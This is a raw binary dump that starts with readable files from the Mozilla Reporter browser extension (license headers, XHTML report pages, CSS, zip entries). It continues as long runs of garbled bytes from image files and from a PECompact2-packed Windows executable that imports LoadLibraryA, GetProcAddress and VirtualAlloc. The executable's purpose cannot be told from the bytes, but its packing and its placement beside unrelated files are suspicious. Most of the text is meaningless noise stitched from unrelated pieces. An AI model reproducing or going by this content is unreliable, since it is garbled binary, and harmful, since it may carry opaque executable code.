<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<h3>&error;</h3>
<div id="messagediv"><span id="faultMessage"/></div>
</body>
</html>
content/reporter/report.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<table>
<th>&reportSite;:</th>
<td><span id="urlStri"/></td>
<th>&reportProblemType;:</th>
<td><span id="problemTypeStri"/></td>
<th>&reportDecsription;:</th>
<td><span id="descriptionStri"/></td>
<th>&reportPlatform;:</th>
<td><span id="platformStri"/></td>
<th>&reportProduct;:</th>
<td><span id="productStri"/></td>
<th>&reportoscpu;:</th>
<td><span id="oscpuStri"/></td>
<th>&reportGecko;:</th>
<td><span id="geckoStri"/></td>
<th>&reportBuildConfig;:</th>
<td><span id="buildConfigStri"/></td>
<th>&reportUseragent;:</th>
<td><span id="userAgentStri"/></td>
<th>&reportLanguage;:</th>
<td><span id="langStri"/></td>
<th>&reportCharset;:</th>
<td><span id="charsetStri"/></td>
<th>&reportEmail;:</th>
<td><span id="emailStri"/></td>
</table>
</body>
</html>
[62t]GA
skin/classic/reporter/icon.pngPNG
tEXtComment
Created with The GIMPd%n
D y<YE
_wi:rsrG
!_v'")GH
EPy//o=,
*s]o)TlpP'
VfD7$}v8v=
H;P'L{
=c,432
u}\squ
J7\HE]&
s2/VFVA
IENDB`PK
skin/classic/reporter/reportResults.cssbody {
font: message-box;
width: 100px;
text-align: left;
vertical-align: top;
table {
width: 95%;
skin/classic/reporter/reportWizard.css/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
#privacyFrame, #finishExtendedFrame {
-moz-appearance: listbox;
margin: 2px 4px;
border: 2px solid;
-moz-border-top-colors: ThreeDShadow ThreeDDarkShadow;
-moz-border-right-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-bottom-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-left-colors: ThreeDShadow ThreeDDarkShadow;
background-color: -moz-Field;
color: -moz-FieldText;
wizard[description=""] .wizard-header-description {
display: none;
content/reporter/reportWizard.xulPK
}e7IF;
content/reporter/reportWizard.jsPK
content/reporter/reporterOverlay.xulPK
}e73w@
content/reporter/reporterOverlay.jsPK
content/reporter/error.xhtmlPK
content/reporter/report.xhtmlPK
[62t]GA
skin/classic/reporter/icon.pngPK
skin/classic/reporter/reportResults.cssPK
skin/classic/reporter/reportWizard.cssPK
4/5/2019 4/5/2019 4/6/2019 14/6/2019 1BM8
Xea8I>v
BOD`jatuky
3@68F8@J;\f^qwu~y
at{y{4A3#/
qIQDjrh
6B5Sb^
wDG>4?3+=2tr^
lqkswn_eY
x0<@%5'3?/
grqZaYw|w
Zl@JtOYN"3%|
pusq{}
->>.;9
;I?GZT^mn
#-:HQ{p|{;LGauz
c: j>#pC&wJ*}L)xbUa`(7Vtehf\]s0AAHZTvcv}k
$.;IfvDHD8MTd{g~m~TfaUgbK`\]rw}aS?c8
"&K\\|RgrezXmuzJ]fsbqo@PKCTOD]d~'$
(6,.C<Uikt
iyA[hk~Zn
4JZ*:8
!+#*=5@WVObd
Z{e}3Qw;Vl
VY\^dl<BF=FH
+=55JF;PNIar
i|TewA[ob}Tfr
#'ZaiVajdq~!+''805MNZs
lZw(K,Z);K
x*=Ej|
$'-.98?QW7EJ
+-]v@R`q~Xtj)Bj&>m+FdK_te|4LVrBHI
15<jwu<J>JZYRfnPl+E\
*.buzb-Hq+M@Ts0E\
Vm~-7U7A;_eb7=C
4;C_lp
3DP3CJRdv3Ka@Zs
;]w;KXRn
;@D~6O`
/<I\i<qD|evv<Xjbu~DVX,;?
{NhyVn
'F^sl{;QX"-'
'! )!&
4Ro.D[%4D
CHPSmLi;N`
2OlUt
k$M4aKx/Mu
!*+:L}
,H%Ab6^!2G
'?]&Ef*Im
*2-6/=GB
'-1;;/80!&"
CRk1Gi
6BG_lw]gn
@b=cSx>Vw
AJW%(-
"*7;EahrCf Bf-T{?b^~|6AQ1:IfrIOX
AVg(FcSt
QdrH[sGf
g|>Vlatz
+Yesz{py
"*7FQa|bn
zxmv@FP
NZk?[}fvNV`
~`{d|ESf
)7n~T]m
hp}IP[
4/8/2019 4/8/2019 4/10/2019 MZ
L!This program cannot be run in DOS mode.
PEC2^O
mbTpEN
:EWB(CO!
P\_!"%
hDB;e@~o
u|KrA/
b^UbUA
#Dzsb2dp&d
I81,xN6`
@Kk\;>d_y
%WzztE+`i[gV[bf1=9
D;kbr7?WY|
Z(PQ.KWUd
IWa+VW
t_%f]l.k+
b7/+Kv=Qg
E\!yP^U,agOPB`
ie}>u!
{xzGG3v0c\>AtUVY
q|^pXK
#il;C2
ktbQo!TZ
.,.Mh!Y!h'.*
q'e1_?m("
Xd'Ziay
n-C/T
0#ZWT|@KJ
eDtlk1
Vh0y&]!
?j|829J
xT+8v(
$J}ji0
fU^ma2yUf
pnxv=k
CK?K~9f\(%{
H<nO0.g
(b$a,kz"`Hn#[<ms&Q%
A^1.Q>-b
5#IK3&X!%V\q
ixz"SYOY
J^MfzNun
Ik^-tHS*
[9h?vnqd
J7Vng0
J#H#{]`$RXBPJ
N$Le=F
=8wv-3
s#*Za&DZ9
v?L$4P
v|jhXQ]N'
mGd/VD)=1B
3|P)ST
atgZCU+g
+d0J1I
18pO^l>p3
m'@e'05
LgThHL
D#f{O(J`d"rF
J7urt`Rj
3$+cC9W
yywWm;
Jjex|s
X!#uoK12#
"s@K\}C
?R{,hUUu ikHc
PECompact2
\ugWPw
H%caAp
6m8Nme!6
VR^]RIK5
vdQ_w\|H
y9e!w)n
]oRln uJ
=%8T"mXgbslcoF
$E,+hu
s@B?hqa`
#^|G(!8
x`T"@h
Ozi FzR7
zL)cOx
ba&tqa
J`/O`0
.E]=NQjKnw
1.19_p
vS}pT<*bgN_
WGc.5mIr@`^
/M8@tCL=ge
H:aP%w9iWPs0.,q
2\.vghK>-(au
"hA=1M-
r9W;>-
gigov
0~P<!Az$
#]_E{3o
4{h.6DsN!
+QRKK?t
^**5!<Vg
NZ_Rt
s0BRK3.[q#I
gKO3lToa
wW-E&@&A^t&
HEC+X[:
?EXN\GO(?
%OIpMEG
e+.;:?
Y;zVpN
Z'K20Vxq
?%Mh2^G
lXV!QOA,ex
pS@hv;
i'h8Q]g
tM;k/&i
bKz5Bg3
c14=pxh
Y,9}'r=[39dUM{RZ_
QN.KEnB[r
.nyULT6
xl$T&0C6
q]}N:)
Ag7F%TQf|U`
#h7HlV/M
PG3ilpeGA~oLIC,
}r/h{bG~
MCPTl+mj
oD u{VuLR.%
9iXS7b
^#w0N8
QqKrx[1T|>*
+NW{(h
I~+aXHt
uTpNMC
XC6mD.g
a`v\.$J,s[
u<-@pc}]
phusCJH]
o!w-BTy&
i*V&S9
Jtt]{JQ
E*wmc3e(jbtgh(
v-9q[3$uZU
HdOM1x&
8WiNW@
e87@46]
}D~+eLuOf
nAr8ei#v
~K(rAN
(rU)E'
TU?Ho9oJ
b'c4;|
p~>\\c@WCG{
t[1It/Tl"x
mNP_nw_WUZ
Q;G9%2|v13
;Li[@cc+
bYV/LT
DU=m?M!]
+@@L4~Ru4
ycr1FJP
/d._]aUIU>2|
/wQ)bAvRw;
*cV!^vgFcu*o
8.t__g
_P}`\nJ
))_c,dQ
'/ZMtQ
krgkLpf
'WC,oj /9
0psHW
'"[<VGs`
,G^`h,x
Gyp.`[
Ilv6Lgqm`x~Z
}oo\sRapWTz
'uwTH"
X8`,fw-
Zj{I# AJ
3G>51D8GvkR
<1V\%H
b.l} 2#,cczg%V
Y_eza^.\/CVj8tg
UsKjSS
nB^ur8E k
.QTcR
w!T4)9tZBlc<,
x,aajYE
[*V^|B)u?
XycA )%
4R5w1g
%!'Y'(
:pBjSqP
PJ2%b6
t6w6Gux
38pq" E
hJVulHWsL<-l_
ht=+?l}3@rrP
}3;+9
HtU*pM<(
Z\YLGA
t9*YKw
yGMa.%
%J=i:
O"os7?
1xtD/g
j:<^$V%e
mh>iFMk/[o
{CQ0*1w9
4Wr7%x{
<)~@mWV
`Z_IDJAtY<i-i
6t<rzt5<`[5L
E;7]A7JKd|JI
li3@kg
WeN)bJ
>3gJF%Lj
B^L<J#%G*6=lf
Tn#qn)r.0
wX8OZm?
CWsi0>
2NbXy4Ro71!6E
'QXqE6
Tmd7 E!
3q4.p=[);"r
H,u"[
ZPv,@J5!-
?zw!.RrM+<
wQkMS&P'P1
YR|7^RVM0iqC
\bw>_|{
WwbfwBL_m
~(N'5&/q{'9
\~c!{MFz|@m!Qk>C&
L83C^(%=
rN4RE^5wH]
z:wy@NaW:c5Si2h
<9Aj?Q)d77(+
^qyc;03Zet
$nggb
9i'eZU$!w
M!@/ce8
zr:S;2__Qx9p=`
a"DJe&dS3$)*
f%o9q\
hm1\GY
WO4O0k
)f/q0fP=
e7NhV7xU
+5C9&I
@sEuQr
+w5kV%5
0dV+ghQl0^/
>fBX&D
C.V7zyic,
8/5$DJ~A{D=:D
gb@U+-
TC2F-a=GP
v%ezB&j1Li
!-Ci~0
)ttg=y|
_ATRPx2
y&Fyuv~^r
bk'+$#*7^'Lz
!rZaz&
^Hmyqk
Ipx&(
4Pxt.$
FHg^BL8YoR
l)"]%l#
/x*_UL'2
NLy`dsf2GK*a,
|i_w<Y[
_H#|Dc
s2xy{`
w"g]P<
0;mfh})b
7CUq]CMC
jV9z)]Jl?
C@EP7$1
f@U2|*lc
Gm18xu
]yJT_}
{pY."h=U
`ZHL~`
1w.7BgpY
Zdp/Rn>
>?i/Ow
apHgV1+PrLd
!i6d@G[
#>BOIr1:%
r>r+HE
wsIAwh<e
/Gn6g1.gUij4H^m2
nITgLTmnvt:9
Y0Kb.Pp/8XiQF>+lp
O0jw%#-
Kl$;.jB%
9`R#IA,n
Texk`%
P#qd\lKB
<*sfk;k
.v^Z[$
qz{W(g8i!D7;uM
tVxNg\
Cb(3>
HVpag]Sn?lQ
YEB~0sqq[
:t_]BJ
skX#r[yzum&wL
p5v{9Fo
Yc>#~^q9?
bkGV-}:
r#hKgb\;
<|Kr9%|
m:Cs^W?+6g{EA23!
aEP0oh3QzLY
H/0\.]
6R]qW>EK
#0 1XiY
@?j&Y($/
0i2nyK\bF
L@8|V,
f.%tS-
iLOls;:
+A'QZ`
wxG]Aa
3yXOq6q;?91q
AVrLMq[+zMOy#w`
vSA'?T
\IT`mN[Q
~,b#*2r
|syW)wH8
A(dXS|
bsl(&o
PmeCv7KjZ:`\}OX
XmO+4V3UNXko,z0dU*D
IU+NdafDum
S"y"Zh
w{5pLy
&/LbxVnE{b4
]<l)$E
(j.LF1
'r;W8}
~T$ivBr
:2&<*&Qe,wj7
;@p"Wy)
d?[xn-#|7m0
kd#a`/
ngN`\DO
h2PswM
/}'_$T
O3|yRG
6%6EDSD
f8'F~=8J6=
GvE2Hl+*@A3O'
80sNSor
vda{& f
cjk_T}+j
q#Kc#i^?,
N#>f\xZ-b
rI2"T?m.FS
~![V&8
tvVEUa7d
{M}Ueg
Pv\o(a8E/,3Ky
9ulAnG)n}
s4jCT?!1|
[KLm1&QOkOq
fU8D8*
!1o?|j7*+`5
0=_l,G_L
^dmI^yp`lP%#%
1puvv\
G-QJD@
FAt_;$<o
`dyv'8
S+#NXV
z~E<z/
!1Na>Jq}
~z\qyE
FE8UZ1&&
@+7cs`
E?x]='
ZaOrF~
gYUFwbZlr
q[%FQx
eIS}<[g!
(2,u73
7oFNLqd
g5UVuZ~
:Ig{8m
QD(QI%C'P
-BT=Cg~\
Eh(qB
%&;FX%
2dE~4^9
{BQd!,r
uVKc1hg
~R0h[b
+Roj?k3eZ
fU,;j}k~
Qx0d.'
3qwIDblZ%
Nm-Z w
p,tUVv
d2:@nPmD036[l
:12DT*p,Wdyv$e
Jsieoc_
c\Ru~=
=!W+BP
+}eDR.Ml:'X
F={P4{a
:D\r8yA
70L92AoU
$\{gI{
_>/~07
Cu"$i{xE~9P@km7"
chcYp+/'
VvS]D!@.8o5V4+
nU#6~
uHO>M?C
8N9t=,7
>zLC9[uO
92V'>h1BuZ/%j
bS. *KDg)t0
O7B[(N
U(l'?XsS\/u$Ii
J__B@y
+TWH,2
kernel32.dll
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
m2_ KW7n
OQ?*CT!
8!5@|K
9w}iX=~L<,
Hq]C<.+
?C&i"p
;==$?K@]
v!pc}nw"J
d"qPw,
{ia0dVD
>z%voql
3hKt2?}
8 JQY'
-Y,'/>owL
!DV,8Jb
F3_Jg6
y$O=Vb
2qia_?upw
T\>FND
ModulqHan8
Virtopc>ken*32+
ZPY[z]8@
+>(/P"
H+SlM8!
{BtpyL(+
P/(#vjE#hM!"xV4
!J*YO*AW$^@f;M
D$4HSUVPg
6A|$ l
\8T<>#
v0`Zf#
9hD-*
9$$ ?|
;0xUeN
:@97oJ
+Pz%}T`oe<~Wq
405=QtL
vB*(3H%Iw]
Dd"B7\
(1XdS!a
N~0SvJQ
~}U?_(
90sk$M
sFpRph
cN,4+KQ07!'
A,R?B-
%# |"!
uD3Z~X0
fdb;u}
'nPPCN1tMs
!Z`;h2=2
dT)}&nAH+6J^|
@tKwFQ
B_^/b2
XY^WVi
PO:M9W
,QAj@Rw3:
]F:9Fu
g!{PWQSL}@
i7Xt|H,!
A|Q@,:Zha]oM9%
Nr'`Q6
vq"d4n
9l@L04+
pUWmsvb
{ u.Th}e<cdc
%sy5|lntba6id|SDqLG5d,al
uj'XGvMagB
wP=tfNfExitPL
}~ActNCO;b2!
n$zH[QY9
<$J0dkX2
`t$$|$(3
r+|$(|$
USQWVRW
ZPR3C
Z^_Y[]
3/12/2019 BM6$
itWeK`H]FuS>cF4O9+7(
j{]hK9
b$_saf
p o:oOt`vgxjym|n|nv_jIZ)@
taL7*@, {Y
o2hOgYfWgHfKfOgOiRkWp[uf}qy~qdGKsN
h5\IYFW<V6~`0_e.V5U5X7Y;Z>WFZMaPfSl[
S=P9P-M(K%G!qZ#6k%M!H"K$K)V!
f"G0G#E
}vJmd8dF?
lB-U;Rk'E`"`d2jGL
Ek#Vf+jj>T'0
Fh%w]/V*>
f[%W)E
?h&R#H
< @"D#F&G
H+F970'
;!A$H'M%Q4RGQSS
S+RPPC4"
>F&M*U,Z)_K^Bb)c-`
\iocP=%
I(O+X._2f9k(n5ndr2k6i#`"ZtgP7
L'P,Y0b9kBr=wzy
Aw>o'e
="M,X0b:lKvJ
DyruX7
4*R/^7iHtY
{C_V@
L3f?rI
7winy$d-Y&K
Lt0g-Z%J
F|Cr4g-Y'J
3v+f,W'I
koo[/\
8A;;B
zuph\T
3/16/2019 13/16/2019 13/16/2019 1
Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
TI%)$IJI$RI$I%)$IOTI%)$IJI$RI$I%)$IO|
|S0l5f:%e[
)A/E3:M
&Z+?u5~Q
ng!NI:jI$B%
eoaylW
m>>-[CX{?X
j~?Xrk
6]e~Ef
}(c]Uuts}OM:
EE![eQns
Z.mm>hk99
b~?LnI
<<zah[+mOv)0{
N&scbDv^3
khv6uM
C?\}8u
xCCcUg-P
t*lm]C
hun$4cW
2mIgK<
}%%W7L4Wxa2Z-h6t;TI%<
S]_WAh
{y?KX[g}p
qoZD%"U;pu57
usHyuW(h
o3v`s7ow'7,5SK]
jqhc1'
UMx4WM-
}OY6j=/S]"S
TI%<~X-
v~-Euk
jUX&<G
klU_X^>
6GhDPSY~9_oy
j_-"y3a
^4Z"C\^}6g
6f_TI%)T
*ivncy-F
~sHGDS$
)$IO8BIM
Version compatibility info
JPEG Quality
!Adobe
`"@2PA3
" aq2#
AQ aq"
@P`Rbr
|smPMbRZ
-mZd>ym
qU=q+9
d@q<+E2oYV8Y_37.5.x
$08 (G
5;,1{^mOp<L1
BhWo8
){W]9}/
U~KwPK0
$u-r"28
6KYrI"Cvm
m$YZ\S]}j`
hRpvH
+<b!]^C@.7
Qib2I\.x_
}&FIb/
s&c=z7 rCR$
)MDnd&s
78AQS%R*g0+u[4*zp5H
UW9)EVLLP@B
!TL>m.'
G1ZE-a
dQ'Rvit
8|/HS;
]3G%].
FW]3E@1#
D;$db.T
S@>@!@h
3D96l p
BK1mGa
ByDxbx(
W;y0Xn&(k
r+lS7?QU
a>4e6x
:$#2lMkY
''3Iud2|c
2!KW,x
yK{2xOA5O
FPL70n^0q
JI2`#(?j
da7T<Xa?S
VWJIke=>
>.DMHsUS\'+rkQ
N! ])+c
cpD@#a=
(@t&({
9YTfA8um.
j"q;Y=qj!8)|%f{/
|;Z3naBI
Sbc#0C!p[$?zv
xE~XeNnsJ
f5}|.R`
`p*=e;U0Lk&
O"Ak50%n
y'u#JK.
fPH!1\,
Ho7 Oj
>|+kiwo
Nnl4:mfP
="s%wN
P{T'F@wi&(l
mXuyHh
RC6=e;whn
lVB,Om
H+sQQ]0AT;f
{isHsIU
9Gz(Skw]v
Q{qh<)!
Rp/]jc!
p)zqd/p
|%sp%9,R.kr^
%/^ =Y\
sap{jW
N5u?$o?
-9zUY-,(X03^+')=x
iHdjv_/
2)XVV(]+Ux
9_e]:8
1^&>t*:
w!^#A+N{`BrUWE
f2wm&/yW
5Q>MVYkMq
97IE<f
5<F`0 UvbIHFGK{
6U=U;AY
8#k3ZKy4
=z1cA-A]T
8Rz*Z@Kt'z %
I()')$/jR
JP,~@%T
#|=u#myv
y/+pj;
mL4F;ug2tY\>H|
l=Q+;u
OU:yVVc
lwY3!]
2N~v21
IA'jRt(13
-QJIe
c3I75!A'p
n7j+\VRd7Zz\ULEageE+,
/9o3d+`byZjcBHP
{k&m|Gq
#!EL8|wFLPQ-u" h
\mh;V=
bJ,3bQ@vJIT_
2b2ABDa"n3kHZ
#c2d9Pl6XjKq
v0veC1
cW8_ZK/j
{5v{M*[9u0s1MODwPnK2
%5PgY%vk|,
's:ZZ1
R4f)NQZV
Haftf3+h8jR!mn($Px
%6m\\tUIW23
&nE\kpvS[&VqHBGS
6/I"%+R
R`PfsN
]$Bvpq
E}=ev+]n1.
^0ISm1{
9f%{oA(:T
`FCM 2
%zSrV$P
20^iYK<3!
}GeTin
s!n{T#"
usM2*b
XifQQ)P
2ZUc;4X
V,%Q>KZ3
KzBY+qH
IPzl]JT
WURCu@:u/7We1=dGr=+l
sE 0iLr|ZCV
$[\JT5;
2P jPI
k)_}M<
p.wWLS 7x,
)+'Sy/
-!,2%$-
:e)Hi4
KBJhd#iJ
6j4SU(
"I:Rv!dF
$ 2Q#BtG>q
N+q$Kqbf\|N?Y#)
6))e)9^Yy\nG
'sjlZR
d(CUqD 8\t
v(&G w
'\49,G2
QH)W5I[
mOJHuBCw3Qj@#JzlO6
PaWTkS
Ca&Z[d<66o
iC36dHBWo
_-W!.lDtJVbJ=8
{tNI10IZ
AV)66mm
[A+% Su-"~
S J=A|~o
Fdc'.T+
e=(+rJ
[mR}FAz
-s?$n%d
[[KO"e
PRv"D~
"x+|mZ
ARiNzf
TOtwVY^c
LIBt `
#&.EUAZ
>~'J2=Io8
E6|Xjw_u"AT*Z
UUhRtQE
$y9/b
nG$))u
^qI@HID
CSeRSw+Y
=4S2Y%MZ[JJ
)!hSj>ARO
(4##`X
p itT"4]'r[wq=>
QgK)?%DmqR
zlm%a:5
h(MM'q
Ci5)7PiA@u=%(F
?2@${` )@
iAR:n?|)
}3/24/2019 3/24/2019 3/25/2019 1BM
DDDLDDDDDDDDDDDLDDDDDDDDDLDDDDDLDDDDDDDDDDDDLLDDDDDLLDDDDDLDLDDDDDDLDDDDDLDDDDDDLDLDLDDDDDDDDLDDLDLDDLDLDDDDDDDLDLDDLDLDDDDDDDDLDDDDDDDDLDDLDDDDDDDDLDDDLDLDDDDDDDLDLLDDLDDDDDLLDDDDDDLDDLDDLDDDDDLLDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDDDDDDLLDDDDDLDLDDDDDDLLLDDDDDDLDLLDDDLDLLLLLDDDDDDDDLLLDDDDDDDDDLLDDDDLDDDLLDDDLDDDDDDDDLLDDDDDDLDDDDDDLDLDLDDDDDLLLDDDDDLDLDLDDDDDDLDDDDDDDLLDDDDDDLLDDDLDDDDDDDDDDLLDDDDLDDDLLLDDDDLDDDLDLLLLLDDDDDDLDDDDDDLLDDDDDDDLDLDDDDDDLLDDDDDLDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLLDDDDLDDDDDLDDDDDLLDDDDDDLDDLLDLDDDDDDDLDLDDLDDDDDDDDLDDDLDDDDDDDDLDDDDDDDDLDLDDLDLDDDDDDDLDLDDLDLDLDDDDDDDDLDDLDLDDDDDDLDDDDDLDDDDDDLDDDDDDDLLDDDDDLLDDDDDLDDDDDDLDDDDDLD3/28/2019 13/28/2019 13/29/2019 1
&Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
kRRd8-
cY^Llu;.27,mI!
'M>)cb{1b}Mx
?F5u62*1
bw*'i$:bI$
+1[;tRe?/6YON=:jZ
]q42f>;7
mrq3"J
mv{m'~E1*l5
_k]f5>|fllZlfa^/-o W-iqDg7
z/ef;xp;m
' ;$R-
32?C1Z
`[5moQz]x}s
5IzhN{FgU?Akc;f
Fzxuz;
R}}K+]l1
UN;nUq']_!O-`<
*=;l5n.;w_
uL\`jk6=H
kJoOao4g<_+j
{=[\V5
_g=5ED
Szi$Dvoa
5YzY8b
;4b\.7f8
re?a5/
o{cy4}o
zM:=ud:ZsF1i27dd
>Pe6HVpv=ijem]
fBX1/$M
pT0[.`;qZ]N>{E
26Vc}[[
kgn??}#,#OsJs:F^
[>iGXkj
tX-}gn+
uI$<\K2(7kC`lkXG_
-f5"im
8pSpe(
v@%-q p
a PcZ!
S%.0<xL-Eck@=8
:Tlh<b|S
(NJY:I$
Version compatibility info
JPEG Quality
!Adobe
P1A"#$
AQaq"
@Pr3$C%
`]P*uK
G:|NX]v
Y=:*6wRzY
\;>6<v>|
4Q/~gpJ{6
Xpy%$ZQEHu.[
%oHh<v=8
[_7gZN
]z>x#K
p9CY5.
jy?<=[
t5`VnL_U
AOI]3;u9.^x
SZZ0<]V
Sbfji$Hl
j/7k,b
h[^VTNu(39h
'>'VU+
QZAi<jjS<$
g/Y2*31
--$Mcq/
Y@)~52
2tqZq}G0
7-SSm.
~:V|Z'
d+/_q8
I+oW`"!abp%
I.G08e,J[\Xq2&[{*FhyK
H:YF,}(qu
*BEYa
v89S#ct3$%BA1Q
T!ZEvQOI(D+c
XTf"|
W!f0f%[
*1q"qD
9Qvqnk6Is
;6fBmxogV^QQRqlhR>t
3uY]}cKMIW
e,T[ MpATLU
Y$-Ls)~
V9$7Q_@
OD*1@@
B<B[wZ^-@
!9K9DwB`
R<RL-9ET
c7UAk0
:>f^"FQh
>BAd};MZse
x3##)Uu
F*@`9e
|b1w:dA
Qt}5}l,^3ky: e$|
pST`Ow/
V}o#KJ'`mb7
,ULN`w|uYzR
IR?`1inV
f)`z|H
DJTGb$n
;vQn@2`@@
IPM0L@
@5k`}7
/;OfjmR
,w$~Fcd I(ylzCd
lYyFyN
! {R.o;=
}#mVLKU-k
eB]kul
81;DN1V?S+`
!nZ"Ma "^1nj
IDL\AwVuls
10^P*/=N
>]14*
*5zX0^8`
OXu$E\N0b&v
nm2v5p
ZzJ;j!
HxG#8T)
1e[W>w
5)5O@O
G-Q; ze(#?Mi{N
8q0=e}
hen4@kZ
EPSL5k2
;Hmg{$
@ U,}G
@rOLb&
H.(P4N&m-9JW)
trW<6S
,)U8OgB7kikWk
Rk%:s;P
5(H8(j
"!sa,0z
=FSae7bx5
xUQN?SB
=c-_E{V-
<{B[J6&
sposPr:
%#C_\\Vpy
RuPfv!
;]&Ps;
Cym9pR@
j8ApL;
~tr@k4
J4Ph.8fJ
Y4\"0w
{j.Lf
gNRBd3e(\9
C~X0r+%S29|>|
s}Dup&E
g.]K@g
pFj94:li.ikqzW0
j:=P6uAr
5NNwS*
qfi- ")slr#C
H !2"*Yzy(.`#\$DF
;1S5r`
&Yw$Th!G
GCCVT~YW`X)NI9l3l[Uo+
~42v",Xz<
.AQas!%]
4UXuk}xWNd
Y.1ms.
Llz@2\O
d;}7TspuG2
;:45I
7SmE;V
Krz|_&+>?1U
4)-<Nokn
&e<e_!
hK$elnGZKPD
\s:z|I;RBKFO_`
tsE)cS:
J#n3|:
/%ox${
=1>2?J
71C3\F
q>~~E
Fpo!a,c
b.,q8)
Tmm1#^!cbB
VD1` Cqs&
pBg2Gh-a
K||oqj]
rU"nGFU;2
>/~vZx;
W@:l>6
dhcI..\<
o|1k,H~'m
D46e/=)CZ
LS<-rQ#-G!%$
@x|o9l-)^%gmyn
zM8djGms!cPJ
h?RZZZO]Zo
~|g$;\[4G/!L
u0]lux
da$4M )
VT!o$bdx*u
uB@u>}z?8
DxDU?u?
y.vL'W
r_y0M?
@he,$,
{,\p!ORvUIJwxwU
W^i@;C
5EMket'AX/
oMm"JVmO\/
